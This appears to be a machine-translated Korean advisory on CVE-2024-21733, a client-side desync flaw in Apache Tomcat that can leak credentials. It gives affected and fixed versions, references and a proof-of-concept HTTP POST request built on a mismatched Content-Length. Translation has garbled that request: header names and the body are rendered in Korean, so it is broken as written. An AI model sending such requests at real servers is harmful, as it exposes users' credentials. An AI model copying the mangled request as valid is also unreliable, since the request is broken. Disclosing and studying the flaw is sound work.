CVE-2024-21733 아파치 톰캣 HTTP 요청 고위험 정보 노출 취약점

설명

Apache Tomcat® 소프트웨어는 Jakarta 서블릿, Jakarta 서버 페이지, Jakarta 표현 언어, Jakarta 웹소켓, Jakarta 주석 및 Jakarta 인증 사양을 오픈 소스로 구현한 것입니다. 인증 사양.

8.5.7부터 8.5.63까지, 9.0.0-M11부터 9.0.43까지 Apache Tomcat은 클라이언트 측 동기화 해제(CSD) 공격에 취약합니다.

영향(일반적으로 부정적)

클라이언트 측 동기화 해제(CSD)와 관련된 취약점은 웹 서버가 POST 요청의 콘텐츠 길이를 정확하게 처리할 수 없을 때 발생합니다. 공격자는 이 문제를 이용하여 피해자의 브라우저를 조작하여 웹사이트와의 연결이 잘못 끊어지도록 만들 수 있습니다. 이러한 조작을 통해 서버 및 클라이언트 연결에서 민감한 데이터를 무단으로 추출할 수 있습니다.

영향의 심각성은 Tomcat을 백엔드 웹 서버로 사용하는 애플리케이션에 따라 다르며, 일반 텍스트 자격 증명과 같은 기밀 정보가 노출될 가능성이 있습니다. 예를 들어, 저희 팀은 아래 그림과 같이 클라이언트 연결에서 일반 텍스트 Active Directory 자격 증명을 몰래 얻을 수 있는 ManageEngine의 6304 버전 이전 ADSelfService Plus 포털 버전에서 인스턴스를 발견했습니다.

PoC / 익스플로잇

post / http/1.1
호스트: 호스트 이름
Sec-Ch-Ua: "Chromium";v="119″,"Not?A_Brand";v="24″
Sec-Ch-Ua-Mobile: ?.0
Sec-Ch-Ua-플랫폼: "Linux"
업그레이드-안전하지 않음-요청: 1
사용자 에이전트: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, Gecko 등) Chrome/119.0.6045.159 Safari/537.36
수락: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.7
Sec-Fetch-Site: 없음
Sec-Fetch-Mode: 탐색
Sec-Fetch-User: ?.1
Sec-Fetch-Dest: 문서
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
우선순위: u=0, i
연결: 연결 유지
콘텐츠 길이: 6
콘텐츠 유형: application/x-www-form-urlencoded
엑스

처방전

영향을 받는 버전의 사용자는 다음 완화 조치 중 하나를 취해야 합니다:
Apache Tomcat 9.0.44 이상으로 업그레이드하기
Apache Tomcat 8.5.64 이상으로 업그레이드하기
출처: Sn1perSecurity LLC의 xer0dayz가 이 취약점을 Tomcat 보안 팀에 책임감 있게 보고했습니다.

역사: 2024-01-19 원본 커뮤니케이션

보안 공지 전문: https://lists.apache.org/thread/h9bjqdd0odj6lhs2o96qgowcc6hb0cfz

참고 문헌

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21733

https://tomcat.apache.org/security-9.html

https://tomcat.apache.org/security-8.html

https://portswigger.net/research/browser-powered-desync-attacks

https://hackerone.com/reports/2327341